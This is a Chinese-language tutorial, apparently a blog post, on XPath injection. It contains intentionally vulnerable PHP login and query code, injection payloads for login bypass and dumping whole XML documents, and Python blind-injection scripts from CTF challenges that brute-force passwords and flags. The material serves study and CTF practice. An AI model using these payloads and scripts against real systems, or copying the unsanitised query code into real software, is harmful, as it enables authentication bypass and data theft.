XPATH注入
XPATH注入
原理
XPath注入类似于SQL注入,当网站使用未经正确处理的用户输入查询 XML 数据时,可能发生 XPATH 注入,由于Xpath中数据不像SQL中有权限的概念,用户可通过提交恶意XPATH代码获取到完整xml文档数据
语法
- “nodename” – 选取nodename的所有子节点
- “/nodename” – 从根节点中选择
- “//nodename” – 从当前节点选择
- “..” – 选择当前节点的父节点
- “child::node()” – 选择当前节点的所有子节点
- “@” -选择属性
- “//user[position()=2] “ 选择节点位置
常规注入
<?php
if(file_exists('t3stt3st.xml')) {
$xml = simplexml_load_file('t3stt3st.xml');
$user=$_GET['user'];
$query="user/username[@name='".$user."']";
$ans = $xml->xpath($query);
foreach($ans as $x => $x_value)
{
echo "2";
echo $x.": " . $x_value;
echo "<br />";
}
}
?>
t3stt3st.xml
<?xml version="1.0" encoding="utf-8"?>
<root1>
<user>
<username name='user1'>user1</username>
<key>KEY:1</key>
<username name='user2'>user2</username>
<key>KEY:2</key>
<username name='user3'>user3</username>
<key>KEY:3</key>
<username name='user4'>user4</username>
<key>KEY:4</key>
<username name='user5'>user5</username>
<key>KEY:5</key>
<username name='user6'>user6</username>
<key>KEY:6</key>
<username name='user7'>user7</username>
<key>KEY:7</key>
<username name='user8'>user8</username>
<key>KEY:8</key>
<username name='user9'>user9</username>
<key>KEY:9</key>
</user>
<hctfadmin>
<username name='hctf1'>hctf</username>
<key>flag:hctf{Dd0g_fac3_t0_k3yboard233}</key>
</hctfadmin>
</root1>
测试
加'
有报错
user1' or 1=1 or ''='
或
user1' or '1'='1
读取当前节点下的所有user
终极payload,获取文档所有节点
']|//*|//*['
登陆绕过
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<form method="POST">
username:
<input type="text" name="username">
</p>
password:
<input type="password" name="password">
</p>
<input type="submit" value="登录" name="submit">
</p>
</form>
</body>
</html>
<?php
if(file_exists('test.xml')){
$xml=simplexml_load_file('test.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=$_POST['password'];
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
echo "登录成功";
$login_user = $result[0]->username;
echo "you login as $login_user";
}
}
}
?>
<?xml version="1.0" encoding="UTF-8"?>
<accounts>
<user id="1">
<username>Twe1ve</username>
<email>admin@xx.com</email>
<accounttype>administrator</accounttype>
<password>P@ssword123</password>
</user>
<user id="2">
<username>test</username>
<email>tw@xx.com</email>
<accounttype>normal</accounttype>
<password>123456</password>
</user>
</accounts>
用户名:test’ or ‘a’=’a 密码随意
说明在已知用户名的情况下,可以不知道密码进行登录
但是一般管理员的用户名一般不容易知道
我们可以利用一般数据库中默认第一个用户为管理员用户,来进行登录
' or 1=1 or ''='
若管理员不是第一个用户就不行了
盲注
' or 1=1 or ''='
把1=1换成盲注的语句即可
判断顺序
- 判断根节点下的节点数
- 判断根节点下节点长度&名称
- …..
- 重复猜解完所有节点,获取最后的值
'or count(/)=1 or ''=' ###根节点数量为1
'or count(/*)=1 or ''=' ##根节点下只有一个子节点
根节点下子节点的长度
'or string-length(name(/*[1]))=8 or ''='
爆破
'or substring(name(/*[1]), 1, 1)='a' or ''='
'or substring(name(/*[1]), 2, 1)='c' or ''='
..
'or substring(name(/*[1]), 8, 1)='s' or ''='
其实后面的大部分都是重复这三步
猜解出该节点名称为accounts
'or count(/accounts)=1 or ''=' /accounts节点数量为1
'or count(/accounts/*)=2 or ''=' /accounts下有两个节点
'or string-length(name(/accounts/*[1]))=4 or ''=' 第一个子节点长度为4
猜解accounts下的节点名称:
'or substring(name(/accounts/*[1]), 1, 1)='u' or ''='
...
'or substring(name(/accounts/*[1]), 4, 1)='r' or ''='
accounts下子节点名称为user
'or count(/accounts/user)=2 or ''=' /accounts下两个子节点都是user
爆破第一个user节点下的节点(这里省了步骤,反正就是查数量、查长度、爆破三步)
'or substring(name(/accounts/user[position()=1]/*[1]), 1, 1)='u' or ''='
'or substring(name(/accounts/user[position()=1]/*[1]), 2, 1)='s' or ''='
...
'or substring(name(/accounts/user[position()=1]/*[1]), 8, 1)='e' or ''='
'or string-length((//user[position()=1]/username[position()=1]))=6 or ''='
'or substring((//user[position()=1]/username[position()=1]),1,1)='T' or ''='
....
'or substring((//user[position()=1]/username[position()=1]),6,1)='e' or ''='
MyPicDisk (DASCTF2023 & 0X401 )
Booogipop大佬盲注爆破
import requests
import time
url ='http://1faab4d0-7d84-46a1-b6fb-5dc991bc7f72.node4.buuoj.cn:81/index.php'
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
flag =''
for i in range(1,100):
for j in strs:
#猜测根节点名称
# payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j),"password":123}
#猜测子节点名称
# payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测accounts的节点
# payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测user节点
# payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#跑用户名和密码
# payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}' or ''='".format(i,j)
payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j)
data={
"username":payload_username,
"password":123,
"submit":"1"
}
#
# payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
print(payload_username)
r = requests.post(url=url,data=data)
time.sleep(0.1)
# print(r.text)
#003d7628772d6b57fec5f30ccbc82be1
if "登录成功" in r.text:
flag+=j
print(flag)
break
if "登录失败" in r.text:
break
print(flag)
CodegateCTF2022
读系统配置
1' and starts-with(system-property('flag'), +flag+x ) and'1'='1
import requests
from string import ascii_lowercase, digits
SESSION = {'JSESSIONID':'5D31583806832F60CE7133EEEA94EA6E'}
flag = ''
for i in range(34+len('codegate2022')):
for x in ascii_lowercase+digits+'{}':
conn = requests.get('http://url/blog/read?idx=1%27%20and%20starts-with(system-property(%27flag%27),%27'+flag+x+'%27)%20and%271%27=%271', cookies=SESSION)
r1 = conn.text
if 'test' in r1:
flag += x
print(flag)
break
XPATH注入
https://zer0peach.github.io/2023/09/18/XPATH注入/